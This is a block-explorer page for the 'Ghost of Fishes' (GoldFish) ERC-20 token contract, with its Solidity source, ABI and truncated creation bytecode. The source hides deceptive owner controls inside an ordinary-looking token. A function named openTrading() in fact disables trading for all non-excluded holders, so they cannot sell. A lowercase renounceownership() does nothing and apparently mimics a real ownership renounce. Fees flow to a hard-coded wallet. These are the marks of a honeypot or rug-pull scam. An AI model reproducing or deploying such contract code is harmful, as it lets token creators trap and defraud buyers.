ERC-20
Overview
Max Total Supply
1,000,000,000,000,000,000 GoldFish
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
13,800,000,000,000,000.563032927 GoldFishValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MainContract
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-10 */ // SPDX-License-Identifier: MIT /* ^!??????????????????????????????????????????????????????7~. !B@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&Y. !@@@@#BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB@@@@G J@@@@J :&@@@#. :#@@@&: ^B@@@@? 7@@@@P ~&@@@@? B@@@@: G@@@@! ~B@@@@~ Y@@@@G7. .?B@@@@@5 .:::. .:::. .:::. Y&@@@@&5^ .J#@@@@#Y^ :?P#&@@&BP7^ .!5B&@@&#GJ^ .!5B&@@@#GJ^ .7G@@@@@P~ ?&@@@@B7. ^JYP&@@@&BB&@@@@B5YP#@@@&BB#@@@@G5YP#@@@&BB#@@@@B5Y7 ~5&@@@@P^ ^B@@@@B! G@@@@#5!. .~YG&@@@@@&G?: .^YB@@@@@@&P7: .^YB@@@@@~ ^5@@@@&J ?@@@@&? .~!!^. :~!!!^. :~!!!^. :~!!^ ~B@@@@G: Y@@@@B^ J@@@@#^ 5@@@@P. 7@@@@#^ ?@@@@G 7@@@@B. ^&@@@#. ~YGB#BP?~: ....... Y@@@@Y 5@@@@7 7@@@@@@@@@&BB#&&&&&#BGPY7^. .#@@@&: .#@@@#. ~@@@@@@@@@@@@@@#@@@@@B5P&@#Y^ J@@@@7 ^@@@@P .7&@@@@@@@@@@@@JY@@@@G ^@@@@: ~@@@@5 ^@@@@P .. :Y&@@@@@@@@@@@@@5:@@@@@@P?JG@@@5 ^@@@@P ^@@@@P 7B&#GPY?!^:~#@@@@@@@@@@@@@@@!^@@@@@@@@@@@@P !@@@@Y .#@@@&. B@@@@@@@@@&@@@@@@@@@@@@@@@@@B:J@@@@@@@@@@J Y@@@@7 Y@@@@? G@@@@@@@@@@@@@@@@@@@@@@@@@@@@&J?5B@@@@@P^ :&@@@#. :&@@@&: 7@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@#B@@&5~ 5@@@@? 7@@@@B. G@@@@@@@@&5^:JB@@@@@@@@@@@@@@@@@&G?: J@@@@G J@@@@B: :#@@@@@BJ: ^?5B#&@@@@@@@#PJ!: J@@@@B. ?@@@@#! :B@#Y~ ..G@@@@&? .P@@@@G. !&@@@@5: .~. !GG5?: 7#@@@@5. :P@@@@&J. ~G@@@@#! !B@@@@#Y^ .7G@@@@&Y. 7B@@@@@P7: .~Y#@@@@&Y: !P&@@@@&G?^. :75#@@@@@B?: :?G&@@@@@#PJ!^. .:^75B&@@@@@#Y~ :75#@@@@@@@&BGPP555555555555555555555555PPGB#&@@@@@@&GJ^ ^75B#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#PJ~. .^~7?JY555555555555555555555555555YJ7!^: Token Name: Ghost of Fishes Ticker: Fishbowl Supply: 1 quintillion Tax: 3/7 => revert 3/3 after bots are out https://t.me/FishbowlERC20 https://medium.com/@reina_shin */ pragma solidity 0.8.15; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) {return _owner;} modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MainContract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletSize; string private constant _name = "Ghost of Fishes"; string private constant _symbol = "GoldFish"; uint8 private constant _decimals = 9; string public chat; uint256 public buyLiquidityFee=0; uint256 public buyBurnFee=0; uint256 public buyMarketingFee = 3; uint256 public totalBuyFees; uint256 public sellLiquidityFee=0; uint256 public sellBurnFee=0; uint256 public sellMarketingFee= 7; uint256 public totalSellFees; uint256 public tokensForAutoLiquidity; uint256 public tokensForAutoBurn; uint256 public tokensForMarketing; uint16 public masterTaxDivisor = 100; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; address public pairAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen=false; bool private inSwap = false; bool private swapEnabled = false; uint256 private _tTotal = 1000000000000000000 * 10**9; uint256 private maxWalletAmount = 7000000000000001 * 10**9; uint256 private maxTxAmount = 7000000000000001 * 10**9; address payable private MarketAddrWallet; event MaxWalletAmountUpdated(uint maxWalletAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); MarketAddrWallet = payable(0x333e6bCd148CF6feD076F51c41f63015AdcE8E5f); _tOwned[owner()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[MarketAddrWallet] = true; _isExcludedFromMaxWalletSize[owner()] = true; _isExcludedFromMaxWalletSize[address(this)] = true; _isExcludedFromMaxWalletSize[MarketAddrWallet] = true; swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function getTxAmount() public view returns(uint256) {return maxTxAmount;} function getMaxWallet() public view returns(uint256) {return maxWalletAmount;} function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet"); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(amount <= maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize."); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) { require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size."); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); } function renounceownership() public virtual onlyOwner {} function openTrading() external onlyOwner() { tradingOpen = false; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { _tOwned[sender] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount; _tOwned[recipient] += amountReceived; emit Transfer(sender, recipient, amountReceived); } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { if(from == uniswapV2Pair && totalBuyFees > 0 ) { tokensForAutoLiquidity = amount * buyLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * buyBurnFee / masterTaxDivisor; tokensForMarketing = amount * buyMarketingFee / masterTaxDivisor; } else if (to == uniswapV2Pair && totalSellFees > 0 ) { tokensForAutoLiquidity = amount * sellLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * sellBurnFee / masterTaxDivisor; tokensForMarketing = amount * sellMarketingFee / masterTaxDivisor; } _tOwned[pairAddress] += tokensForAutoLiquidity; emit Transfer(from, pairAddress, tokensForAutoLiquidity); _tOwned[DEAD] += tokensForAutoBurn; _tTotal = _tTotal - tokensForAutoBurn; _tTotal = totalSupply(); emit Transfer(from, DEAD, tokensForAutoBurn); _tOwned[address(this)] += tokensForMarketing; emit Transfer(from, address(this), tokensForMarketing); uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing; return amount - feeAmount; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = true; } function includeInMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = false; } function SetMaxWalletand(uint256 _maxWalletSize) external onlyOwner{ maxWalletAmount = _maxWalletSize * 10 **_decimals; } function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{ maxTxAmount = _maxTxAmount * 10 **_decimals; maxWalletAmount = _maxWalletSize * 10 **_decimals; } function RervertSellFeesToOriginalTax() external onlyOwner{ sellLiquidityFee = 0; sellBurnFee = 0; sellMarketingFee = 3; totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee; } function sendETHToFee(uint256 amount) private { MarketAddrWallet.transfer(amount); } receive() external payable{ } function sendMsg(string memory _newMsg) public { chat = _newMsg; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RervertSellFeesToOriginalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetMaxWalletand","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetWalletandTxtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"chat","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"masterTaxDivisor","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_newMsg","type":"string"}],"name":"sendMsg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensForAutoBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForAutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600655600060075560036008556000600a556000600b556007600c556064601160006101000a81548161ffff021916908361ffff1602179055506000601360146101000a81548160ff0219169083151502179055506000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff0219169083151502179055506b033b2e3c9fd0803ce80000006014556a05ca4ec2a79a7fa29aca006015556a05ca4ec2a79a7fa29aca00601655348015620000cc57600080fd5b50620000ed620000e16200099c60201b60201c565b620009a460201b60201c565b601360149054906101000a900460ff161562000140576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001379062000af2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020c919062000b7e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029a919062000b7e565b6040518363ffffffff1660e01b8152600401620002b992919062000bc1565b6020604051808303816000875af1158015620002d9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ff919062000b7e565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200038b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b1919062000b7e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000419573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200043f919062000b7e565b6040518363ffffffff1660e01b81526004016200045e92919062000bc1565b602060405180830381865afa1580156200047c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004a2919062000b7e565b601160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073333e6bcd148cf6fed076f51c41f63015adce8e5f601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601454600160006200054e62000a6860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620005a262000a6860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620006db62000a6860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401620008d592919062000c09565b6020604051808303816000875af1158015620008f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200091b919062000c73565b506200092c62000a6860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6014546040516200098d919062000ca5565b60405180910390a35062000cc2565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600082825260208201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600062000ada60178362000a91565b915062000ae78262000aa2565b602082019050919050565b6000602082019050818103600083015262000b0d8162000acb565b9050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b468262000b19565b9050919050565b62000b588162000b39565b811462000b6457600080fd5b50565b60008151905062000b788162000b4d565b92915050565b60006020828403121562000b975762000b9662000b14565b5b600062000ba78482850162000b67565b91505092915050565b62000bbb8162000b39565b82525050565b600060408201905062000bd8600083018562000bb0565b62000be7602083018462000bb0565b9392505050565b6000819050919050565b62000c038162000bee565b82525050565b600060408201905062000c20600083018562000bb0565b62000c2f602083018462000bf8565b9392505050565b60008115159050919050565b62000c4d8162000c36565b811462000c5957600080fd5b50565b60008151905062000c6d8162000c42565b92915050565b60006020828403121562000c8c5762000c8b62000b14565b5b600062000c9c8482850162000c5c565b91505092915050565b600060208201905062000cbc600083018462000bf8565b92915050565b613b178062000cd26000396000f3fe6080604052600436106102345760003560e01c8063921369131161012e578063c9567bf9116100ab578063ea2f0b371161006f578063ea2f0b37146107f6578063ebece9c91461081f578063f11a24d314610848578063f2fde38b14610873578063f63743421461089c5761023b565b8063c9567bf914610721578063cc70acee14610738578063d0a3981414610763578063dd62ed3e1461078e578063e71dc3f5146107cb5761023b565b8063a8b08982116100f2578063a8b089821461064c578063a9059cbb14610677578063adb873bd146106b4578063b9e93700146106df578063c2af913b1461070a5761023b565b8063921369131461057957806395d89b41146105a45780639740a946146105cf5780639e024820146105fa5780639f71146d146106235761023b565b80633722355c116101bc578063715018a611610180578063715018a6146104b65780637537d9dd146104cd5780637bce5a04146104f857806384d6c8c6146105235780638da5cb5b1461054e5761023b565b80633722355c146103e75780633c19b3ca146104105780633e0c23b814610439578063437823ec1461045057806370a08231146104795761023b565b806318160ddd1161020357806318160ddd146102fe5780631d6167ac146103295780631f3fed8f1461035457806323b872dd1461037f578063313ce567146103bc5761023b565b806303fd2a451461024057806306fdde031461026b578063095ea7b3146102965780630fa604e4146102d35761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b506102556108c7565b6040516102629190612776565b60405180910390f35b34801561027757600080fd5b506102806108cd565b60405161028d919061282a565b60405180910390f35b3480156102a257600080fd5b506102bd60048036038101906102b891906128c2565b61090a565b6040516102ca919061291d565b60405180910390f35b3480156102df57600080fd5b506102e8610928565b6040516102f59190612947565b60405180910390f35b34801561030a57600080fd5b50610313610932565b6040516103209190612947565b60405180910390f35b34801561033557600080fd5b5061033e61093c565b60405161034b919061297f565b60405180910390f35b34801561036057600080fd5b50610369610950565b6040516103769190612947565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a1919061299a565b610956565b6040516103b3919061291d565b60405180910390f35b3480156103c857600080fd5b506103d1610a57565b6040516103de9190612a09565b60405180910390f35b3480156103f357600080fd5b5061040e60048036038101906104099190612a24565b610a60565b005b34801561041c57600080fd5b5061043760048036038101906104329190612a51565b610b37565b005b34801561044557600080fd5b5061044e610bd5565b005b34801561045c57600080fd5b5061047760048036038101906104729190612a24565b610c8e565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612a24565b610d65565b6040516104ad9190612947565b60405180910390f35b3480156104c257600080fd5b506104cb610dae565b005b3480156104d957600080fd5b506104e2610e36565b6040516104ef919061282a565b60405180910390f35b34801561050457600080fd5b5061050d610ec4565b60405161051a9190612947565b60405180910390f35b34801561052f57600080fd5b50610538610eca565b6040516105459190612947565b60405180910390f35b34801561055a57600080fd5b50610563610ed4565b6040516105709190612776565b60405180910390f35b34801561058557600080fd5b5061058e610efd565b60405161059b9190612947565b60405180910390f35b3480156105b057600080fd5b506105b9610f03565b6040516105c6919061282a565b60405180910390f35b3480156105db57600080fd5b506105e4610f40565b6040516105f19190612947565b60405180910390f35b34801561060657600080fd5b50610621600480360381019061061c9190612bb3565b610f46565b005b34801561062f57600080fd5b5061064a60048036038101906106459190612a24565b610f59565b005b34801561065857600080fd5b50610661611030565b60405161066e9190612776565b60405180910390f35b34801561068357600080fd5b5061069e600480360381019061069991906128c2565b611056565b6040516106ab919061291d565b60405180910390f35b3480156106c057600080fd5b506106c9611074565b6040516106d69190612947565b60405180910390f35b3480156106eb57600080fd5b506106f461107a565b6040516107019190612947565b60405180910390f35b34801561071657600080fd5b5061071f611080565b005b34801561072d57600080fd5b506107366110fe565b005b34801561074457600080fd5b5061074d611197565b60405161075a9190612947565b60405180910390f35b34801561076f57600080fd5b5061077861119d565b6040516107859190612947565b60405180910390f35b34801561079a57600080fd5b506107b560048036038101906107b09190612bfc565b6111a3565b6040516107c29190612947565b60405180910390f35b3480156107d757600080fd5b506107e061122a565b6040516107ed9190612947565b60405180910390f35b34801561080257600080fd5b5061081d60048036038101906108189190612a24565b611230565b005b34801561082b57600080fd5b5061084660048036038101906108419190612c3c565b611307565b005b34801561085457600080fd5b5061085d6113c5565b60405161086a9190612947565b60405180910390f35b34801561087f57600080fd5b5061089a60048036038101906108959190612a24565b6113cb565b005b3480156108a857600080fd5b506108b16114c2565b6040516108be9190612947565b60405180910390f35b61dead81565b60606040518060400160405280600f81526020017f47686f7374206f66204669736865730000000000000000000000000000000000815250905090565b600061091e6109176114c8565b84846114d0565b6001905092915050565b6000601554905090565b6000601454905090565b601160009054906101000a900461ffff1681565b60105481565b6000610963848484611699565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1